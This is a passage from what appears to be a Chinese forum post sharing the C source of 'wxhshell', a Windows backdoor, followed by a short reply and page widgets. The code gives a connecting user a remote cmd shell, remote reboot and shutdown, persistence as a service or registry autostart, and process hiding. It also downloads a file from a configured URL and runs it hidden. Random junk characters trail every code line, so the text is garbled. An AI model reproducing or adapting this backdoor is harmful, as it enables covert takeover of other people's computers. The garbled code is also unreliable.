  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {_}"USS  
  else J"|$V#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ur7a%NH  
  } b"bj|qF~E  
  else { ;0q6 bp(<H  
\Da$bJ  
    switch(cmd[0]) { -~ Q3T9+  
  t}l<#X5  
  // 帮助 O0YGjS|d  
  case '?': { 4q8%!\A+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $dw;Kj'\  
    break; '8 #*U  
  } N3RwcM9+;  
  // 安装 - [j0B|cwG  
  case 'i': { {v(|_j&:o  
    if(Install()) kICYPy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S3cQC`^  
    else ~zRd||qv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I =pdjD  
    break; -H]O&u3'c  
    } M - TK  
  // 卸载 tjt#VFq?  
  case 'r': { m#'9)%t!J  
    if(Uninstall()) A79SAheX#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6V/mR~F1r  
    else 6 dMpd4"\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ep|u_|sB/r  
    break; 5]JXXdt  
    } DLZ63'  
  // 显示 wxhshell 所在路径 6}2Lt[>O  
  case 'p': { $=R\3:j  
    char svExeFile[MAX_PATH]; VE m[F/'  
    strcpy(svExeFile,"\n\r"); \v Go5`  
      strcat(svExeFile,ExeFile); 4+:u2&I  
        send(wsh,svExeFile,strlen(svExeFile),0); v)EJ|2`  
    break; 5GP' cE  
    } pUx@QyrI  
  // 重启 AWcP OU  
  case 'b': { #*@Yil=1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '"a8<7  
    if(Boot(REBOOT))  tvILLR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a8TE  
    else { [MG:Ym).2`  
    closesocket(wsh); n2~rrQ \/p  
    ExitThread(0); UqbE  
    } 0"Hf6xz  
    break; lom4z\6  
    } akoILX~u  
  // 关机 59u7q(  
  case 'd': { c\opPhJ! 0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d1N&J`R\1  
    if(Boot(SHUTDOWN)) 1>1!oml1E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $2 0*&4y^  
    else { M:N> {_1&  
    closesocket(wsh); SZEr  
    ExitThread(0); u#QQCgrs  
    } 'WoX-y  
    break; Sob+l'U$  
    } 2J$Uz,@  
  // 获取shell >n/QKFvV5  
  case 's': { +H_Z!T.@  
    CmdShell(wsh); nS#;<p$\  
    closesocket(wsh); X8<ygci+.5  
    ExitThread(0); xk9]jQ7  
    break; ;F5%X\ t-  
  } 6}0#({s:R  
  // 退出 )erPp@  
  case 'x': { DpAuI w7|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UHHe~L  
    CloseIt(wsh); JdnZY.{S0  
    break; 3[$VW+YV  
    } EP @=i  
  // 离开 a<Ta*:R$0  
  case 'q': { @<+(40`*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'tc$#f^:  
    closesocket(wsh); $xqphhBg  
    WSACleanup(); aj:+"X-;  
    exit(1); P`0aU3pl  
    break; Z(FAQ\7  
        } 4CqZvd C  
  } 3ul  
  } {^v50d  
(fl2?d5+C  
  // 提示信息 rmhB!Lo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;X>KP,/r$  
} /D~:Ufw  
  } Vs(;al'  
i^(0,L  
  return; I]h+24_S  
} 4V=dD<3m  
_h#G-  
// shell模块句柄 'RhMzPmY>  
int CmdShell(SOCKET sock) n*V^Q f  
{ 7@ZL(G  
STARTUPINFO si; _\"?:~rUN  
ZeroMemory(&si,sizeof(si)); k0,~wn\#h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !Bd2$y.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^#%[  
PROCESS_INFORMATION ProcessInfo; +r '  
char cmdline[]="cmd"; \J6T:jeS,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )g-*fSa  
  return 0; <[*s%9)'9  
} b`IC)xN$  
SYyH_0N  
// 自身启动模式 YVzK$k'3U  
int StartFromService(void) f -#fi7  
{ v{I:Wxe  
typedef struct TE/2}XG)  
{ [KJm&\evp  
  DWORD ExitStatus; V9+7A  
  DWORD PebBaseAddress; >q}EZC  
  DWORD AffinityMask; Z#0z#M`  
  DWORD BasePriority; 15870xS  
  ULONG UniqueProcessId;  ^rI&BN@S  
  ULONG InheritedFromUniqueProcessId; 6oC(09  
}   PROCESS_BASIC_INFORMATION; C>LkU|[  
\Ew2@dF{O  
PROCNTQSIP NtQueryInformationProcess; 0tA+11Iu  
\K?3LtJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %'P58  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  zE{.oi  
*Owq_)_ (|  
  HANDLE             hProcess; UO</4WJ  
  PROCESS_BASIC_INFORMATION pbi; K[sfsWQ.  
y- g5`@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &u8BGMl2  
  if(NULL == hInst ) return 0; <yeG0`}t  
:R _(+EK1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [!v:fj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3ZC[H'|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s+4G`mq>*  
U,/>p=s  
  if (!NtQueryInformationProcess) return 0; yNO5h]o  
0L|A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >Z/,DIn,I  
  if(!hProcess) return 0; KktQA*G  
H4)){\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "g0L n5&  
f9!wO';P6  
  CloseHandle(hProcess); ~6R| a  
|n0 )s% 8`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {BgGG@e  
if(hProcess==NULL) return 0; wAITE|H<zj  
B4I|"5G2y  
HMODULE hMod; & %1XYpA.0  
char procName[255]; o-R;EbL  
unsigned long cbNeeded; %c[by  
BK,= (;d3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y6V56pOS  
2@=JIMtc  
  CloseHandle(hProcess); a(bgPkPP  
@HR]b^2E  
if(strstr(procName,"services")) return 1; // 以服务启动 poeKY[].  
ppS,9e-  
  return 0; // 注册表启动 Riw#+#r]/  
} o XA*K.X<  
U$qSMkj6RK  
// 主模块 =d`,W9D  
int StartWxhshell(LPSTR lpCmdLine) qbmy~\ZY  
{ t(^c]*r~  
  SOCKET wsl; ?DA,]aa-  
BOOL val=TRUE; OLlNCb#t  
  int port=0; HA>b'lqBM  
  struct sockaddr_in door; (eSa{C\  
cs,%Zk.xjw  
  if(wscfg.ws_autoins) Install(); F+|zCEc  
+:;r} 7Zh  
port=atoi(lpCmdLine); !XQG1!|ww  
YX,y7Uhn  
if(port<=0) port=wscfg.ws_port; crUt8L-B4  
J6Cw1Pi  
  WSADATA data; /`3< @{D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J)6f"{} &  
B$sB1M0q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h]&8hl_'m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xn}sh[<:P  
  door.sin_family = AF_INET; Av]<[ F/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0 @~[SXR  
  door.sin_port = htons(port); * 3WK`9q  
YeK PoW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1W;q(#q  
closesocket(wsl); `A])4q$  
return 1; 8" XbW7^o  
} _m#M^<0n  
Yu`b[]W  
  if(listen(wsl,2) == INVALID_SOCKET) { t L}i%7  
closesocket(wsl); Y&'Bl$`  
return 1; G ,An8GR%&  
}  k/ls!e?  
  Wxhshell(wsl); W/OZ}ky}^  
  WSACleanup(); :VX?j 3qW  
QD-#sU]  
return 0; ({87311%  
7FMO' 'x  
} aHvTbpJ  
d#T~xGqz  
// 以NT服务方式启动 KpA iKe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7g[T#B'/x,  
{ F_$eu-y  
DWORD   status = 0; MPhO#;v  
  DWORD   specificError = 0xfffffff; dUyit-  
y4^6I$M7V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !inonR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :Em[> XA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [RTB|0Q  
  serviceStatus.dwWin32ExitCode     = 0; AtGk _tpVZ  
  serviceStatus.dwServiceSpecificExitCode = 0; ;<O Iu&,*  
  serviceStatus.dwCheckPoint       = 0; 3~iIo&NZ  
  serviceStatus.dwWaitHint       = 0; |9$K'+'  
t 5g@t0$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wK!4:]rhG  
  if (hServiceStatusHandle==0) return; uW },I6g  
Y1vl,Yi  
status = GetLastError(); 9l5l"Wj&  
  if (status!=NO_ERROR) ^(r?k_i/  
{ Yh\ } i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0.Pd,L(  
    serviceStatus.dwCheckPoint       = 0; OB FG!.)  
    serviceStatus.dwWaitHint       = 0; x|&A^hQ  
    serviceStatus.dwWin32ExitCode     = status; ]#z^G  
    serviceStatus.dwServiceSpecificExitCode = specificError; epqX2`!V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s>~ h<B  
    return; +}@1X&v:  
  } yS%IE>?  
BrcT`MM[(=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I"eXoqh  
  serviceStatus.dwCheckPoint       = 0; <05\  
  serviceStatus.dwWaitHint       = 0; ^NKB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *_ {w0U)  
} tG+ E'OP  
)o-rg  
// 处理NT服务事件,比如:启动、停止 HdQd =q(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~_OtbNj#  
{ `VM@-;@w  
switch(fdwControl) q{?Po;\D  
{ Q5b~5a  
case SERVICE_CONTROL_STOP: F?TxViL  
  serviceStatus.dwWin32ExitCode = 0; #0V$KC*>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wyvrNru<l4  
  serviceStatus.dwCheckPoint   = 0; M}MXR=X,  
  serviceStatus.dwWaitHint     = 0; o[pv.:w  
  { %Aq+t&-BCX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {P ZN J 2~  
  } {L^b['h@  
  return; }c?/-ab>  
case SERVICE_CONTROL_PAUSE: #&a-m,Y$sx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9 &a&O Z{  
  break; {fW(e?8)  
case SERVICE_CONTROL_CONTINUE: PZmg7N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /2Q@M>  
  break; m08:EX P  
case SERVICE_CONTROL_INTERROGATE: ?UuJk  
  break; cD5c&+,&I  
}; /ZlPEs)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hDTiXc  
} :d\ne  
7/%{7q3G>  
// 标准应用程序主函数 oju)8H1o#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X;25G  
{ 4 qMO@E_  
IMjz#|c  
// 获取操作系统版本 uSh!A  
OsIsNt=GetOsVer(); %5.aC|^}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,5J-C!C  
rjqQWfShY  
  // 从命令行安装 X+2aP'D  
  if(strpbrk(lpCmdLine,"iI")) Install(); r6k0=6i  
HF>Gf2- C  
  // 下载执行文件 =>Ss:SGjT  
if(wscfg.ws_downexe) { F=)9z+l#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ln-/ 9'^  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~H"Q5Hr   
} Ct2m l  
IO3`/R-  
if(!OsIsNt) { NGZEUtj  
// 如果时win9x,隐藏进程并且设置为注册表启动 R+,eXjz"  
HideProc(); } m5AO4:  
StartWxhshell(lpCmdLine); v%N/mL+5L  
} aD)XxXwozm  
else lYEMrr!KQw  
  if(StartFromService()) M| r6"~i  
  // 以服务方式启动 1|/P[!u  
  StartServiceCtrlDispatcher(DispatchTable); W3K&C[f  
else aBv3vSq> Q  
  // 普通方式启动 "BSSA%u?c  
  StartWxhshell(lpCmdLine); 4pNIsjl}  
1UG5Q-  
return 0; p4mlS  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八